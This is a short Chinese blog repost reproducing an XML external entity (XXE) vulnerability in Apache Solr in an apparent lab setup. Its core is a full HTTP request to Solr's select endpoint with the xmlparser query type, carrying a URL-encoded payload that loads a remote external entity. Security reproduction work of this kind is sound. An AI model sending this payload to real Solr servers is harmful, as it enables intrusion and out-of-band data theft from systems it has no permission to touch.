其他分享
首页 > 其他分享> > apache solr XXE复现

apache solr XXE复现

作者:互联网

创建漏洞环境

 

访问8983端口

 

 

写好一个dtd文件

 

发送请求包

GET /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2Fbaidu.com%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1

Host: your-ip:8983

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

 

 

 

 

 

 

 

 

 

标签:XXE,22%,3E%,20%,0A%,2F%,apache,solr,8983
来源: https://www.cnblogs.com/tankcz/p/14961752.html